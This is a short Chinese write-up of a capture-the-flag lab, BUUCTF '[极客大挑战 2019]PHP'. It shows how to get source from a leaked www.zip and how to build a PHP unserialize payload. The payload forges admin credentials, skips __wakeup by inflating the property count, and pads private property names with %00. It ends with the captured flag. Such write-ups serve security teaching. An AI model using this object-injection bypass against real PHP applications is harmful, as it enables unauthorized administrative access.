buuctf——[极客大挑战 2019]PHP
1.信息收集获取源代码/www.zip
2.放在phpstudy进行调试,直接输入任意select的值index是没有回显的,直接代码审计
通过index.php可以看到我们输入的参数select的值通过反序列化传入到了class.php
3.通过class.php我们可以知道, u s e r n a m e 和 username和 username和password是两个私有属性,无法直接修改,依据题意只有使用魔术函数__construct()的方法触发修改用户名和密码
4.理清题意后直接构造exp
<?phpclass Name{private $username = 'admin';private $password = '100';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$Name = new Name('admin','100');
$payload = serialize($Name);
var_dump($payload);
?>
5.通过php访问获取到payload
http://127.0.0.1/eazyun/payload.php
6.因为题目中有__wakeup方法,需要通过改变属性值来绕过
通过将2的值变成3绕过sleep函数
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
7.因为username和password是私有属性所以需要使用%00进行绕过
因为name是私有属性,故需要加%00进行绕过
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
8.最终构造出exp,成功获取flag
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
flag{e78d7aed-4e99-446b-9f23-273c92a9bb6f}